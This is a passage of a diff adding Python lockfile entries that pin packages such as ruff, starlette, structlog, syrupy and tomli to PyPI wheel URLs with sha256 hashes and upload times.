"https://files.pythonhosted.org/packages/4e/00/34bcc2565b6020eab2623349efbdec810676ad571995911f1abdae62a3a0/rpds_py-0.30.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fe5fa731a1fa8a0a56b0977413f8cacac1768dad38d16b3a296712709476fbd5", size = 415470, upload-time = "2025-11-30T20:24:05.232Z" }, + { url = "https://files.pythonhosted.org/packages/8c/28/882e72b5b3e6f718d5453bd4d0d9cf8df36fddeb4ddbbab17869d5868616/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:74a3243a411126362712ee1524dfc90c650a503502f135d54d1b352bd01f2404", size = 565630, upload-time = "2025-11-30T20:24:06.878Z" }, + { url = "https://files.pythonhosted.org/packages/3b/97/04a65539c17692de5b85c6e293520fd01317fd878ea1995f0367d4532fb1/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:3e8eeb0544f2eb0d2581774be4c3410356eba189529a6b3e36bbbf9696175856", size = 591148, upload-time = "2025-11-30T20:24:08.445Z" }, + { url = "https://files.pythonhosted.org/packages/85/70/92482ccffb96f5441aab93e26c4d66489eb599efdcf96fad90c14bbfb976/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:dbd936cde57abfee19ab3213cf9c26be06d60750e60a8e4dd85d1ab12c8b1f40", size = 556030, upload-time = "2025-11-30T20:24:10.956Z" }, + { url = "https://files.pythonhosted.org/packages/20/53/7c7e784abfa500a2b6b583b147ee4bb5a2b3747a9166bab52fec4b5b5e7d/rpds_py-0.30.0-cp314-cp314t-win32.whl", hash = "sha256:dc824125c72246d924f7f796b4f63c1e9dc810c7d9e2355864b3c3a73d59ade0", size = 211570, upload-time = "2025-11-30T20:24:12.735Z" }, + { url = "https://files.pythonhosted.org/packages/d0/02/fa464cdfbe6b26e0600b62c528b72d8608f5cc49f96b8d6e38c95d60c676/rpds_py-0.30.0-cp314-cp314t-win_amd64.whl", hash = "sha256:27f4b0e92de5bfbc6f86e43959e6edd1425c33b5e69aab0984a72047f2bcf1e3", size = 226532, upload-time = "2025-11-30T20:24:14.634Z" }, + { url = "https://files.pythonhosted.org/packages/69/71/3f34339ee70521864411f8b6992e7ab13ac30d8e4e3309e07c7361767d91/rpds_py-0.30.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c2262bdba0ad4fc6fb5545660673925c2d2a5d9e2e0fb603aad545427be0fc58", size = 372292, upload-time = "2025-11-30T20:24:16.537Z" }, + { url = "https://files.pythonhosted.org/packages/57/09/f183df9b8f2d66720d2ef71075c59f7e1b336bec7ee4c48f0a2b06857653/rpds_py-0.30.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a", size = 362128, upload-time = "2025-11-30T20:24:18.086Z" }, + { url = "https://files.pythonhosted.org/packages/7a/68/5c2594e937253457342e078f0cc1ded3dd7b2ad59afdbf2d354869110a02/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3adbb8179ce342d235c31ab8ec511e66c73faa27a47e076ccc92421add53e2bb", size = 391542, upload-time = "2025-11-30T20:24:20.092Z" }, + { url = "https://files.pythonhosted.org/packages/49/5c/31ef1afd70b4b4fbdb2800249f34c57c64beb687495b10aec0365f53dfc4/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:250fa00e9543ac9b97ac258bd37367ff5256666122c2d0f2bc97577c60a1818c", size = 404004, upload-time = "2025-11-30T20:24:22.231Z" }, + { url = "https://files.pythonhosted.org/packages/e3/63/0cfbea38d05756f3440ce6534d51a491d26176ac045e2707adc99bb6e60a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9854cf4f488b3d57b9aaeb105f06d78e5529d3145b1e4a41750167e8c213c6d3", size = 527063, upload-time = "2025-11-30T20:24:24.302Z" }, + { url = "https://files.pythonhosted.org/packages/42/e6/01e1f72a2456678b0f618fc9a1a13f882061690893c192fcad9f2926553a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:993914b8e560023bc0a8bf742c5f303551992dcb85e247b1e5c7f4a7d145bda5", size = 413099, upload-time = "2025-11-30T20:24:25.916Z" }, + { url = "https://files.pythonhosted.org/packages/b8/25/8df56677f209003dcbb180765520c544525e3ef21ea72279c98b9aa7c7fb/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58edca431fb9b29950807e301826586e5bbf24163677732429770a697ffe6738", size = 392177, upload-time = "2025-11-30T20:24:27.834Z" }, + { url = "https://files.pythonhosted.org/packages/4a/b4/0a771378c5f16f8115f796d1f437950158679bcd2a7c68cf251cfb00ed5b/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:dea5b552272a944763b34394d04577cf0f9bd013207bc32323b5a89a53cf9c2f", size = 406015, upload-time = "2025-11-30T20:24:29.457Z" }, + { url = "https://files.pythonhosted.org/packages/36/d8/456dbba0af75049dc6f63ff295a2f92766b9d521fa00de67a2bd6427d57a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ba3af48635eb83d03f6c9735dfb21785303e73d22ad03d489e88adae6eab8877", size = 423736, upload-time = "2025-11-30T20:24:31.22Z" }, + { url = "https://files.pythonhosted.org/packages/13/64/b4d76f227d5c45a7e0b796c674fd81b0a6c4fbd48dc29271857d8219571c/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:dff13836529b921e22f15cb099751209a60009731a68519630a24d61f0b1b30a", size = 573981, upload-time = "2025-11-30T20:24:32.934Z" }, + { url = "https://files.pythonhosted.org/packages/20/91/092bacadeda3edf92bf743cc96a7be133e13a39cdbfd7b5082e7ab638406/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:1b151685b23929ab7beec71080a8889d4d6d9fa9a983d213f07121205d48e2c4", size = 599782, upload-time = "2025-11-30T20:24:35.169Z" }, + { url = "https://files.pythonhosted.org/packages/d1/b7/b95708304cd49b7b6f82fdd039f1748b66ec2b21d6a45180910802f1abf1/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:ac37f9f516c51e5753f27dfdef11a88330f04de2d564be3991384b2f3535d02e", size = 562191, upload-time = "2025-11-30T20:24:36.853Z" }, +] + +[[package]] +name = "ruff" +version = "0.15.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" }, + { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" }, + { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" }, + { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, + { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, + { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, + { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, + { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, +] + +[[package]] +name = "send2trash" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c5/f0/184b4b5f8d00f2a92cf96eec8967a3d550b52cf94362dad1100df9e48d57/send2trash-2.1.0.tar.gz", hash = "sha256:1c72b39f09457db3c05ce1d19158c2cbef4c32b8bedd02c155e49282b7ea7459", size = 17255, upload-time = "2026-01-14T06:27:36.056Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1c/78/504fdd027da3b84ff1aecd9f6957e65f35134534ccc6da8628eb71e76d3f/send2trash-2.1.0-py3-none-any.whl", hash = "sha256:0da2f112e6d6bb22de6aa6daa7e144831a4febf2a87261451c4ad849fe9a873c", size = 17610, upload-time = "2026-01-14T06:27:35.218Z" }, +] + +[[package]] +name = "setuptools" +version = "80.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/5d/3bf57dcd21979b887f014ea83c24ae194cfcd12b9e0fda66b957c69d1fca/setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c", size = 1319958, upload-time = "2025-05-27T00:56:51.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a3/dc/17031897dae0efacfea57dfd3a82fdd2a2aeb58e0ff71b77b87e44edc772/setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922", size = 1201486, upload-time = "2025-05-27T00:56:49.664Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "soupsieve" +version = "2.8.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/89/23/adf3796d740536d63a6fbda113d07e60c734b6ed5d3058d1e47fc0495e47/soupsieve-2.8.1.tar.gz", hash = "sha256:4cf733bc50fa805f5df4b8ef4740fc0e0fa6218cf3006269afd3f9d6d80fd350", size = 117856, upload-time = "2025-12-18T13:50:34.655Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/f3/b67d6ea49ca9154453b6d70b34ea22f3996b9fa55da105a79d8732227adc/soupsieve-2.8.1-py3-none-any.whl", hash = "sha256:a11fe2a6f3d76ab3cf2de04eb339c1be5b506a8a47f2ceb6d139803177f85434", size = 36710, upload-time = "2025-12-18T13:50:33.267Z" }, +] + +[[package]] +name = "sqlite-vec" +version = "0.1.9" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/85/9fad0045d8e7c8df3e0fa5a56c630e8e15ad6e5ca2e6106fceb666aa6638/sqlite_vec-0.1.9-py3-none-macosx_10_6_x86_64.whl", hash = "sha256:1b62a7f0a060d9475575d4e599bbf94a13d85af896bc1ce86ee80d1b5b48e5fb", size = 131171, upload-time = "2026-03-31T08:02:31.717Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3d/3677e0cd2f92e5ebc43cd29fbf565b75582bff1ccfa0b8327c7508e1084f/sqlite_vec-0.1.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1d52e30513bae4cc9778ddbf6145610434081be4c3afe57cd877893bad9f6b6c", size = 165434, upload-time = "2026-03-31T08:02:32.712Z" }, + { url = "https://files.pythonhosted.org/packages/00/d4/f2b936d3bdc38eadcbd2a87875815db36430fab0363182ba5d12cd8e0b51/sqlite_vec-0.1.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e921e592f24a5f9a18f590b6ddd530eb637e2d474e3b1972f9bbeb773aa3cb9", size = 160076, upload-time = "2026-03-31T08:02:33.796Z" }, + { url = "https://files.pythonhosted.org/packages/6f/ad/6afd073b0f817b3e03f9e37ad626ae341805891f23c74b5292818f49ac63/sqlite_vec-0.1.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux1_x86_64.whl", hash = "sha256:1515727990b49e79bcaf75fdee2ffc7d461f8b66905013231251f1c8938e7786", size = 163388, upload-time = "2026-03-31T08:02:34.888Z" }, + { url = "https://files.pythonhosted.org/packages/42/89/81b2907cda14e566b9bf215e2ad82fc9b349edf07d2010756ffdb902f328/sqlite_vec-0.1.9-py3-none-win_amd64.whl", hash = "sha256:4a28dc12fa4b53d7b1dced22da2488fade444e96b5d16fd2d698cd670675cf32", size = 292804, upload-time = "2026-03-31T08:02:36.035Z" }, +] + +[[package]] +name = "sse-starlette" +version = "2.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "starlette", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "uvicorn", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/72/fc/56ab9f116b2133521f532fce8d03194cf04dcac25f583cf3d839be4c0496/sse_starlette-2.1.3.tar.gz", hash = "sha256:9cd27eb35319e1414e3d2558ee7414487f9529ce3b3cf9b21434fd110e017169", size = 19678, upload-time = "2024-08-01T08:52:50.248Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/52/aa/36b271bc4fa1d2796311ee7c7283a3a1c348bad426d37293609ca4300eef/sse_starlette-2.1.3-py3-none-any.whl", hash = "sha256:8ec846438b4665b9e8c560fcdea6bc8081a3abf7942faa95e5a744999d219772", size = 9383, upload-time = "2024-08-01T08:52:48.659Z" }, +] + +[[package]] +name = "stack-data" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asttokens" }, + { name = "executing" }, + { name = "pure-eval" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/e3/55dcc2cfbc3ca9c29519eb6884dd1415ecb53b0e934862d3559ddcb7e20b/stack_data-0.6.3.tar.gz", hash = "sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9", size = 44707, upload-time = "2023-09-30T13:58:05.479Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/7b/ce1eafaf1a76852e2ec9b22edecf1daa58175c090266e9f6c64afcd81d91/stack_data-0.6.3-py3-none-any.whl", hash = "sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695", size = 24521, upload-time = "2023-09-30T13:58:03.53Z" }, +] + +[[package]] +name = "starlette" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/e3/7c1dc7381d9f8ab7d854328ebfa884e62cb3f3d8549ddfd37c7814f42afa/starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0", size = 2703240, upload-time = "2026-06-12T09:23:11.602Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/bb/2799cc2ede3ed41131f8975621e7213dfc7ef4acbbaadfa440f32500c370/starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6", size = 73632, upload-time = "2026-06-12T09:23:10.017Z" }, +] + +[[package]] +name = "structlog" +version = "25.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ef/52/9ba0f43b686e7f3ddfeaa78ac3af750292662284b3661e91ad5494f21dbc/structlog-25.5.0.tar.gz", hash = "sha256:098522a3bebed9153d4570c6d0288abf80a031dfdb2048d59a49e9dc2190fc98", size = 1460830, upload-time = "2025-10-27T08:28:23.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a8/45/a132b9074aa18e799b891b91ad72133c98d8042c70f6240e4c5f9dabee2f/structlog-25.5.0-py3-none-any.whl", hash = "sha256:a8453e9b9e636ec59bd9e79bbd4a72f025981b3ba0f5837aebf48f02f37a7f9f", size = 72510, upload-time = "2025-10-27T08:28:21.535Z" }, +] + +[[package]] +name = "syrupy" +version = "5.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/17/95753634cd02a892cbc74d8df9c15f5ad053885a913eb11aa6061f278344/syrupy-5.3.4.tar.gz", hash = "sha256:10f192655a2d42473ad5772653e64b281f6823fe5e30458d92f8ca8e882884c1", size = 87078, upload-time = "2026-06-26T10:55:42.522Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/7a/254f95860cebb6d51ddb3e815ee30085e8c8a3ba6df1f44ef4605b385621/syrupy-5.3.4-py3-none-any.whl", hash = "sha256:409348aa20afc4b7dab7c965331de0cd79ab46977877fb189014ce9294e947e5", size = 53103, upload-time = "2026-06-26T10:55:41.007Z" }, +] + +[[package]] +name = "tenacity" +version = "9.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/d4/2b0cd0fe285e14b36db076e78c93766ff1d529d70408bd1d2a5a84f1d929/tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb", size = 48036, upload-time = "2025-04-02T08:25:09.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/30/643397144bfbfec6f6ef821f36f33e57d35946c44a2352d3c9f0ae847619/tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138", size = 28248, upload-time = "2025-04-02T08:25:07.678Z" }, +] + +[[package]] +name = "terminado" +version = "0.18.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ptyprocess", marker = "os_name != 'nt'" }, + { name = "pywinpty", marker = "os_name == 'nt'" }, + { name = "tornado" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8a/11/965c6fd8e5cc254f1fe142d547387da17a8ebfd75a3455f637c663fb38a0/terminado-0.18.1.tar.gz", hash = "sha256:de09f2c4b85de4765f7714688fff57d3e75bad1f909b589fde880460c753fd2e", size = 32701, upload-time = "2024-03-12T14:34:39.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/9e/2064975477fdc887e47ad42157e214526dcad8f317a948dee17e1659a62f/terminado-0.18.1-py3-none-any.whl", hash = "sha256:a4468e1b37bb318f8a86514f65814e1afc977cf29b3992a4500d9dd305dcceb0", size = 14154, upload-time = "2024-03-12T14:34:36.569Z" }, +] + +[[package]] +name = "tinycss2" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "webencodings" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7a/fd/7a5ee21fd08ff70d3d33a5781c255cbe779659bd03278feb98b19ee550f4/tinycss2-1.4.0.tar.gz", hash = "sha256:10c0972f6fc0fbee87c3edb76549357415e94548c1ae10ebccdea16fb404a9b7", size = 87085, upload-time = "2024-10-24T14:58:29.895Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/34/ebdc18bae6aa14fbee1a08b63c015c72b64868ff7dae68808ab500c492e2/tinycss2-1.4.0-py3-none-any.whl", hash = "sha256:3a49cf47b7675da0b15d0c6e1df8df4ebd96e9394bb905a5775adb0d884c5289", size = 26610, upload-time = "2024-10-24T14:58:28.029Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" }, + { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" }, + { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" }, + { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" }, + { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" }, + { url = 